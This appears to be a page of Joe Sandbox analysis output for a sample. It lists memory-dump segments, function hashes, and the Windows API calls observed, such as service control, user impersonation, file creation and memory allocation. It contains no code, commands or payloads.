Associated: 00000006.00000002.2505574703.0000000000A96000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505593324.0000000000A9A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505613592.0000000000AA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505706338.0000000000C04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505725888.0000000000C06000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505747838.0000000000C27000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505785234.0000000000C2E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505802972.0000000000C31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505821273.0000000000C32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505838978.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505860158.0000000000C43000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505877381.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505903323.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505923709.0000000000C5C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505943140.0000000000C5E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505966124.0000000000C6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505988026.0000000000C7C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506008061.0000000000C81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506031252.0000000000C93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506050632.0000000000C9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506069070.0000000000CA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506087879.0000000000CAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506106347.0000000000CAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506125343.0000000000CB1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506147394.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506168186.0000000000CC1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506188660.0000000000CC8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506208079.0000000000CC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506228249.0000000000CCA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506248799.0000000000CD3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506269267.0000000000CDA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506289570.0000000000CE0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506312192.0000000000CF0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506331351.0000000000CF1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506365191.0000000000D3A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506365191.0000000000D40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506406590.0000000000D50000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506426389.0000000000D52000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a90000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 126b013ae89a93e2962ec456415b67e2a54fba59bec9e68989e105ee7cdb846b
Instruction ID: e15d914232df2147887f60373217ab09b1c9673801351e06ec2eb2641335f27c
Opcode Fuzzy Hash: 126b013ae89a93e2962ec456415b67e2a54fba59bec9e68989e105ee7cdb846b
Instruction Fuzzy Hash: 873168B240C600AFE302AF09D881ABEFBE9FF45320F164C2DE6C5C6210E6354994DB97

Function 04ED0D41 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04ED0DCD

Memory Dump Source

Source File: 00000006.00000002.2508143167.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ed0000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 0df9894eec2449531d9af4c8a839ae839485d2b9848293725ead358ecac20b43
Instruction ID: b41dcce40214d61850e7286f5c2e089f480a0923a890627c1c8a5076b05347d4
Opcode Fuzzy Hash: 0df9894eec2449531d9af4c8a839ae839485d2b9848293725ead358ecac20b43
Instruction Fuzzy Hash: 792135B6C002199FDB50CF99D884BDEFBF0EF88724F14861AD819AB244C774A545CBA4

Function 04ED0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04ED0DCD

Memory Dump Source

Source File: 00000006.00000002.2508143167.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ed0000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 46bec81ee848c5aadf3b24825aaf8931e6ef4ccb43d860ff3f1834f750587485
Instruction ID: 4ee36d5fbc63082ad8522329c6fee1255d1c333abeeec446b26755bfb457fb06
Opcode Fuzzy Hash: 46bec81ee848c5aadf3b24825aaf8931e6ef4ccb43d860ff3f1834f750587485
Instruction Fuzzy Hash: 042113B6C012199FDB50CF9AD884BDEFBF4EF88724F14821AD909AB204D774A541CBA5

Function 04ED1509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04ED1580

Memory Dump Source

Source File: 00000006.00000002.2508143167.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ed0000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c7f8720213b9c42ef71085efd2139d61270e16e6f3f0ddf71aa95f7dd730a26c
Instruction ID: 2db8fd2aad1f844676117785a4a59aa2ff9dc6cfc89e8d04ff37f786dbbb008a
Opcode Fuzzy Hash: c7f8720213b9c42ef71085efd2139d61270e16e6f3f0ddf71aa95f7dd730a26c
Instruction Fuzzy Hash: 352114B2D003499FDB10CF9AC584BDEFBF4AF48320F108529E569A7250D778AA44CFA5

Function 04ED1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04ED1580

Memory Dump Source

Source File: 00000006.00000002.2508143167.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ed0000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 0eb6ccd1b832ab2fa2a44aaab77ccd2ccff714217594d409b7ac4c2de0ea53a4
Instruction ID: 27ef9b65e78f50c1334189789b57ac375e13b31675418a314dca9979ca0484c3
Opcode Fuzzy Hash: 0eb6ccd1b832ab2fa2a44aaab77ccd2ccff714217594d409b7ac4c2de0ea53a4
Instruction Fuzzy Hash: 4111E4B1D003499FDB10CF9AC585BDEFBF4EB48324F108029E559A7250D778A645CFA5

Function 04ED1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04ED1367

Memory Dump Source

Source File: 00000006.00000002.2508143167.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ed0000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 13d830511320a843a74dbff24fd5521df2e7a20895e1e86356478ba6af472b36
Instruction ID: 5d4a95e188940c1da77f1ace7588c2c8c9186b80babc8612d40dfd05b4c771b5
Opcode Fuzzy Hash: 13d830511320a843a74dbff24fd5521df2e7a20895e1e86356478ba6af472b36
Instruction Fuzzy Hash: F61134B18003498FDB10DF9AC545BEEFBF4EF48320F108429D518A3250D778A545CBA1

Function 04ED1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04ED1367

Memory Dump Source

Source File: 00000006.00000002.2508143167.0000000004ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ed0000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: b3702d17d37e9321433ce4a2004b07b5d1b36b36ed801962e0fdea039816c6d4
Instruction ID: 9cc232652c9ea20faab774bb1f7315bba61a2753ad6e859c814847946191cb6b
Opcode Fuzzy Hash: b3702d17d37e9321433ce4a2004b07b5d1b36b36ed801962e0fdea039816c6d4
Instruction Fuzzy Hash: ED11F2B1800349CFDB10CF9AC545BEEFBF8AB48724F24846AD558A3650D778A944CFA5

Function 00C22ECC Relevance: 1.5, APIs: 1, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00C22F00

Memory Dump Source

Source File: 00000006.00000002.2505747838.0000000000C1C000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000006.00000002.2505535203.0000000000A90000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505556141.0000000000A92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505574703.0000000000A96000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505593324.0000000000A9A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505613592.0000000000AA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505706338.0000000000C04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505725888.0000000000C06000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505747838.0000000000C27000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505785234.0000000000C2E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505802972.0000000000C31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505821273.0000000000C32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505838978.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505860158.0000000000C43000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505877381.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505903323.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505923709.0000000000C5C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505943140.0000000000C5E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505966124.0000000000C6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505988026.0000000000C7C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506008061.0000000000C81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506031252.0000000000C93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506050632.0000000000C9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506069070.0000000000CA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506087879.0000000000CAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506106347.0000000000CAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506125343.0000000000CB1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506147394.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506168186.0000000000CC1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506188660.0000000000CC8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506208079.0000000000CC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506228249.0000000000CCA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506248799.0000000000CD3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506269267.0000000000CDA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506289570.0000000000CE0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506312192.0000000000CF0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506331351.0000000000CF1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506365191.0000000000D3A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506365191.0000000000D40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506406590.0000000000D50000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506426389.0000000000D52000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a90000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 466058cd6027f6427a407615e0a881a5cd63ad0a4f7e74a2b09b648b92c9bae5
Instruction ID: ba283c1ebdbb9816bf9f8c22baea329eeedc4abf46786766d23d56f86fb5fc13
Opcode Fuzzy Hash: 466058cd6027f6427a407615e0a881a5cd63ad0a4f7e74a2b09b648b92c9bae5
Instruction Fuzzy Hash: 30D02BA10451703EE125CA466E50ABFB69D9B81330F23002CBC89C1D41C95409007125

Function 00C22EEB Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00C22F00

Memory Dump Source

Source File: 00000006.00000002.2505747838.0000000000C1C000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000006.00000002.2505535203.0000000000A90000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505556141.0000000000A92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505574703.0000000000A96000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505593324.0000000000A9A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505613592.0000000000AA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505706338.0000000000C04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505725888.0000000000C06000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505747838.0000000000C27000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505785234.0000000000C2E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505802972.0000000000C31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505821273.0000000000C32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505838978.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505860158.0000000000C43000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505877381.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505903323.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505923709.0000000000C5C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505943140.0000000000C5E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505966124.0000000000C6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505988026.0000000000C7C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506008061.0000000000C81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506031252.0000000000C93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506050632.0000000000C9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506069070.0000000000CA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506087879.0000000000CAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506106347.0000000000CAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506125343.0000000000CB1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506147394.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506168186.0000000000CC1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506188660.0000000000CC8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506208079.0000000000CC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506228249.0000000000CCA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506248799.0000000000CD3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506269267.0000000000CDA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506289570.0000000000CE0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506312192.0000000000CF0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506331351.0000000000CF1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506365191.0000000000D3A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506365191.0000000000D40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506406590.0000000000D50000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506426389.0000000000D52000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a90000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3ca5e0c7bf02fd626255ac90c076bd0e54a71b752f8807d447f962d36a741142
Instruction ID: 89dbe52cbe9da04aa8285527029682094e1e4ccaba22bba06037bf926b5fd38e
Opcode Fuzzy Hash: 3ca5e0c7bf02fd626255ac90c076bd0e54a71b752f8807d447f962d36a741142
Instruction Fuzzy Hash: 9ED0127128D1F528EB129F705DE57ECBF51DF52604F1604AD94854B882C9469D49D305

Function 00A9F675 Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00A9F67B

Memory Dump Source

Source File: 00000006.00000002.2505593324.0000000000A9A000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000006.00000002.2505535203.0000000000A90000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505556141.0000000000A92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505574703.0000000000A96000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505613592.0000000000AA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505706338.0000000000C04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505725888.0000000000C06000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505747838.0000000000C1C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505747838.0000000000C27000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505785234.0000000000C2E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505802972.0000000000C31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505821273.0000000000C32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505838978.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505860158.0000000000C43000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505877381.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505903323.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505923709.0000000000C5C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505943140.0000000000C5E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505966124.0000000000C6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505988026.0000000000C7C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506008061.0000000000C81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506031252.0000000000C93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506050632.0000000000C9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506069070.0000000000CA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506087879.0000000000CAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506106347.0000000000CAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506125343.0000000000CB1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506147394.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506168186.0000000000CC1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506188660.0000000000CC8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506208079.0000000000CC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506228249.0000000000CCA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506248799.0000000000CD3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506269267.0000000000CDA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506289570.0000000000CE0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506312192.0000000000CF0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506331351.0000000000CF1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506365191.0000000000D3A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506365191.0000000000D40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506406590.0000000000D50000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506426389.0000000000D52000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a90000_M0SHVBI03XTU9LNHD2O8UA8TC8F.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5f6d92895a21087dd7e842dfa917339c10fb99eee25b207f89a8bad3b045f6d8
Instruction ID: 7d04b5086a4789937d9010b95dcf182eb3147a9444b5960d5bfdb4e67f3b78dc
Opcode Fuzzy Hash: 5f6d92895a21087dd7e842dfa917339c10fb99eee25b207f89a8bad3b045f6d8
Instruction Fuzzy Hash: 39C04CB0719A0ADFDB045F2584846BEBAF1EF98741F21C43DE88BC6650F6310D51DB66

Non-executed Functions

Function 00C33BB6 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2505838978.0000000000C33000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000006.00000002.2505535203.0000000000A90000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505556141.0000000000A92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505574703.0000000000A96000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505593324.0000000000A9A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505613592.0000000000AA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505706338.0000000000C04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505725888.0000000000C06000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505747838.0000000000C1C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505747838.0000000000C27000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505785234.0000000000C2E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505802972.0000000000C31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505821273.0000000000C32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505860158.0000000000C43000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505877381.0000000000C44000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505903323.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505923709.0000000000C5C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505943140.0000000000C5E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505966124.0000000000C6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2505988026.0000000000C7C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506008061.0000000000C81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506031252.0000000000C93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506050632.0000000000C9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506069070.0000000000CA6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506087879.0000000000CAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506106347.0000000000CAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506125343.0000000000CB1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506147394.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506168186.0000000000CC1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506188660.0000000000CC8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506208079.0000000000CC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506228249.0000000000CCA000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506248799.0000000000CD3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2506269267.0000000000CDA000.00000080.00000001.01000000.0000000B.sdmpDownload File
